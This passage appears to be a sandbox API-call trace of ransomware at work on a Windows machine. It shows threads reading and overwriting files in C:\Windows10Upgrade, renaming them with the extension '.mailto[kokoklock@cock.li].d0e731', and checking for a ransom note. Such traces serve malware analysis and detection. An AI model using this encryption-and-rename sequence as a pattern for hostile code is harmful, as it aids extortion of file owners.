Seed=0x8c2f858) returned 0xf651670e [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x7ca9883f [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0xcd97073b [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x97550c2c [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x8eb466b3 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0xe5f1a080 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x4ffb01b4 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0xb5271451 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x30e18d18 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x145c0fe2 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x5928b619 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x324622ea [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0xcdac4140 [0062.138] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x330cce8b [0062.139] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x53b5e297 [0062.139] RtlRandom (in: Seed=0x8c2f858 | out: Seed=0x8c2f858) returned 0x3d899561 [0062.147] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd58 [0062.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0062.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd80 [0062.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0062.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cc68) returned 1 [0062.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0062.149] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.149] ReadFile (in: hFile=0x5cc, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8c2f80c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x8c2f80c*=0x4096, lpOverlapped=0x0) returned 1 [0062.150] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0062.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0062.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca60 [0062.150] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca60) returned 1 [0062.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0062.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc68 [0062.151] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c998 [0062.151] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c998) returned 1 [0062.151] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0062.151] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0062.151] WriteFile (in: hFile=0x5cc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8c2f80c, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x8c2f80c*=0x4096, lpOverlapped=0x0) returned 1 [0062.151] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0062.151] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x204b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.151] ReadFile (in: hFile=0x5cc, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8c2f80c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x8c2f80c*=0x4096, lpOverlapped=0x0) returned 1 [0062.152] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x204b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.152] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0062.152] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0062.152] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb50 [0062.152] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb50) returned 1 [0062.152] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0062.152] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c998 [0062.152] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cda8 [0062.152] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cda8) returned 1 [0062.152] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0062.153] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0062.153] WriteFile (in: hFile=0x5cc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8c2f80c, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x8c2f80c*=0x4096, lpOverlapped=0x0) returned 1 [0062.153] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0062.153] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x390b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.153] ReadFile (in: hFile=0x5cc, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8c2f80c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x8c2f80c*=0x4096, lpOverlapped=0x0) returned 1 [0062.153] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x390b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.154] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0062.154] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0062.154] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cab0 [0062.154] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cab0) returned 1 [0062.154] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0062.154] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cda8 [0062.154] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0062.154] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0062.154] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0062.154] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0062.155] WriteFile (in: hFile=0x5cc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8c2f80c, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x8c2f80c*=0x4096, lpOverlapped=0x0) returned 1 [0062.155] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0062.155] WriteFile (in: hFile=0x5cc, lpBuffer=0x347cc68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8c2f868, lpOverlapped=0x0 | out: lpBuffer=0x347cc68*, lpNumberOfBytesWritten=0x8c2f868*=0x20, lpOverlapped=0x0) returned 1 [0062.155] WriteFile (in: hFile=0x5cc, lpBuffer=0x347c998*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8c2f868, lpOverlapped=0x0 | out: lpBuffer=0x347c998*, lpNumberOfBytesWritten=0x8c2f868*=0x20, lpOverlapped=0x0) returned 1 [0062.155] WriteFile (in: hFile=0x5cc, lpBuffer=0x347cda8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8c2f868, lpOverlapped=0x0 | out: lpBuffer=0x347cda8*, lpNumberOfBytesWritten=0x8c2f868*=0x20, lpOverlapped=0x0) returned 1 [0062.155] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0062.155] WriteFile (in: hFile=0x5cc, lpBuffer=0x347cd80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x8c2f870, lpOverlapped=0x0 | out: lpBuffer=0x347cd80*, lpNumberOfBytesWritten=0x8c2f870*=0x8, lpOverlapped=0x0) returned 1 [0062.155] WriteFile (in: hFile=0x5cc, lpBuffer=0x8c2f888*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8c2f870, lpOverlapped=0x0 | out: lpBuffer=0x8c2f888*, lpNumberOfBytesWritten=0x8c2f870*=0x4, lpOverlapped=0x0) returned 1 [0062.155] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8c2f870, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x8c2f870*=0x4, lpOverlapped=0x0) returned 1 [0062.155] WriteFile (in: hFile=0x5cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x8c2f870, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x8c2f870*=0x6c, lpOverlapped=0x0) returned 1 [0062.155] WriteFile (in: hFile=0x5cc, lpBuffer=0x347cb28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8c2f870, lpOverlapped=0x0 | out: lpBuffer=0x347cb28*, lpNumberOfBytesWritten=0x8c2f870*=0x20, lpOverlapped=0x0) returned 1 [0062.155] WriteFile (in: hFile=0x5cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8c2f870, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x8c2f870*=0x4, lpOverlapped=0x0) returned 1 [0062.155] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb28) returned 1 [0062.155] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cd58) returned 1 [0062.156] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cd80) returned 1 [0062.156] CloseHandle (hObject=0x5cc) returned 1 [0062.163] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eb590 [0062.163] wcscpy (in: _Dest=0x33eb590, _Source="C:\\Windows10Upgrade\\upgrader_default.log" | out: _Dest="C:\\Windows10Upgrade\\upgrader_default.log") returned="C:\\Windows10Upgrade\\upgrader_default.log" [0062.163] wcscat (in: _Dest=0x33eb590, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\upgrader_default.log.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\upgrader_default.log.mailto[kokoklock@cock.li].d0e731" [0062.163] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\upgrader_default.log" (normalized: "c:\\windows10upgrade\\upgrader_default.log"), lpNewFileName="C:\\Windows10Upgrade\\upgrader_default.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\upgrader_default.log.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.163] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_default.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb590) returned 1 [0062.163] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_default.log", dwFileAttributes=0x20) returned 0 [0062.164] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x341d878 [0062.164] wcscpy (in: _Dest=0x341d878, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0062.164] wcscat (in: _Dest=0x341d878, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\D0E731-Readme.txt" [0062.164] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\d0e731-readme.txt")) returned 0x20 [0062.164] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341d878) returned 1 [0062.164] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca330) returned 1 [0062.164] RtlExitUserThread (Status=0x1) Thread: id = 129 os_tid = 0x1074 [0062.151] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_win10.log" (normalized: "c:\\windows10upgrade\\upgrader_win10.log")) returned 0x20 [0062.153] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_win10.log", dwFileAttributes=0x20) returned 1 [0062.157] CreateFileW (lpFileName="C:\\Windows10Upgrade\\upgrader_win10.log" (normalized: "c:\\windows10upgrade\\upgrader_win10.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0 [0062.157] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x8cafae0 | out: lpFileSize=0x8cafae0*=20548) returned 1 [0062.157] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x5040, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.157] ReadFile (in: hFile=0x5d0, lpBuffer=0x8cafab4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8cafab0, lpOverlapped=0x0 | out: lpBuffer=0x8cafab4*, lpNumberOfBytesRead=0x8cafab0*=0x4, lpOverlapped=0x0) returned 1 [0062.166] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.166] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd58 [0062.166] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb28 [0062.166] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd80 [0062.166] NtQuerySystemTime (in: CurrentTime=0x8cafa8c | out: CurrentTime=0x8cafa8c*=132121176200550770) returned 0x0 [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xc6936f24 [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0x571b3162 [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0x2f999fe2 [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xe61d9efe [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xbee88742 [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xfa4a7a9c [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xf0190639 [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xbe701742 [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0x499190e2 [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0x6319fe0d [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xae131df5 [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0x7517659e [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0x4fadeb87 [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xa8f9e55b [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0x8a834ff3 [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0x5cf0e5ff [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xb6037ccb [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xc39c97ca [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xbec4431b [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xfda0fee2 [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0x22212237 [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xa0ecb90 [0062.166] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0x126ba0c7 [0062.167] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xbde0a13b [0062.167] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0x4dde1135 [0062.167] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xb8cc705b [0062.167] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0x20ea5997 [0062.167] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xe004e90e [0062.167] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0x73c24b1b [0062.167] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xd34b0fec [0062.167] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0x6c01aad1 [0062.167] RtlRandom (in: Seed=0x8cafa98 | out: Seed=0x8cafa98) returned 0xd670a92c [0062.176] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0062.178] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0062.178] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdf8 [0062.178] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0062.178] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cd58) returned 1 [0062.178] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0062.178] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.178] ReadFile (in: hFile=0x5d0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8cafa64, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x8cafa64*=0x4096, lpOverlapped=0x0) returned 1 [0062.179] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.179] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0062.179] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0062.179] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca60 [0062.179] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca60) returned 1 [0062.179] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0062.180] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd58 [0062.180] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c9c0 [0062.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c9c0) returned 1 [0062.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0062.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0062.180] WriteFile (in: hFile=0x5d0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8cafa64, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x8cafa64*=0x4096, lpOverlapped=0x0) returned 1 [0062.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0062.180] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x5044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.180] WriteFile (in: hFile=0x5d0, lpBuffer=0x347cd58*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8cafa9c, lpOverlapped=0x0 | out: lpBuffer=0x347cd58*, lpNumberOfBytesWritten=0x8cafa9c*=0x20, lpOverlapped=0x0) returned 1 [0062.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cd58) returned 1 [0062.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0062.180] WriteFile (in: hFile=0x5d0, lpBuffer=0x347cdf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x8cafab0, lpOverlapped=0x0 | out: lpBuffer=0x347cdf8*, lpNumberOfBytesWritten=0x8cafab0*=0x8, lpOverlapped=0x0) returned 1 [0062.180] WriteFile (in: hFile=0x5d0, lpBuffer=0x8cafac8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8cafab0, lpOverlapped=0x0 | out: lpBuffer=0x8cafac8*, lpNumberOfBytesWritten=0x8cafab0*=0x4, lpOverlapped=0x0) returned 1 [0062.181] WriteFile (in: hFile=0x5d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8cafab0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x8cafab0*=0x4, lpOverlapped=0x0) returned 1 [0062.181] WriteFile (in: hFile=0x5d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x8cafab0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x8cafab0*=0x6c, lpOverlapped=0x0) returned 1 [0062.181] WriteFile (in: hFile=0x5d0, lpBuffer=0x347cb28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8cafab0, lpOverlapped=0x0 | out: lpBuffer=0x347cb28*, lpNumberOfBytesWritten=0x8cafab0*=0x20, lpOverlapped=0x0) returned 1 [0062.181] WriteFile (in: hFile=0x5d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8cafab0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x8cafab0*=0x4, lpOverlapped=0x0) returned 1 [0062.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb28) returned 1 [0062.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0062.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdf8) returned 1 [0062.181] CloseHandle (hObject=0x5d0) returned 1 [0062.182] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x33e21c8 [0062.182] wcscpy (in: _Dest=0x33e21c8, _Source="C:\\Windows10Upgrade\\upgrader_win10.log" | out: _Dest="C:\\Windows10Upgrade\\upgrader_win10.log") returned="C:\\Windows10Upgrade\\upgrader_win10.log" [0062.182] wcscat (in: _Dest=0x33e21c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\upgrader_win10.log.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\upgrader_win10.log.mailto[kokoklock@cock.li].d0e731" [0062.182] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\upgrader_win10.log" (normalized: "c:\\windows10upgrade\\upgrader_win10.log"), lpNewFileName="C:\\Windows10Upgrade\\upgrader_win10.log.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\upgrader_win10.log.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.183] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_win10.log.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.183] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e21c8) returned 1 [0062.183] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\upgrader_win10.log", dwFileAttributes=0x20) returned 0 [0062.183] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x341d878 [0062.183] wcscpy (in: _Dest=0x341d878, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0062.183] wcscat (in: _Dest=0x341d878, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\D0E731-Readme.txt" [0062.183] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\d0e731-readme.txt")) returned 0x20 [0062.183] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341d878) returned 1 [0062.183] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca390) returned 1 [0062.183] RtlExitUserThread (Status=0x1) Thread: id = 130 os_tid = 0x1078 [0062.179] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe" (normalized: "c:\\windows10upgrade\\windows10upgraderapp.exe")) returned 0x20 [0062.185] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe", dwFileAttributes=0x20) returned 1 [0062.185] CreateFileW (lpFileName="C:\\Windows10Upgrade\\Windows10UpgraderApp.exe" (normalized: "c:\\windows10upgrade\\windows10upgraderapp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0 [0062.185] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x8d2fcb4 | out: lpFileSize=0x8d2fcb4*=1415880) returned 1 [0062.185] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x159ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.185] ReadFile (in: hFile=0x5d0, lpBuffer=0x8d2fc88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8d2fc84, lpOverlapped=0x0 | out: lpBuffer=0x8d2fc88*, lpNumberOfBytesRead=0x8d2fc84*=0x4, lpOverlapped=0x0) returned 1 [0062.187] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c9e8 [0062.187] RtlAllocateHeap (HeapHandle=0x33c0000, 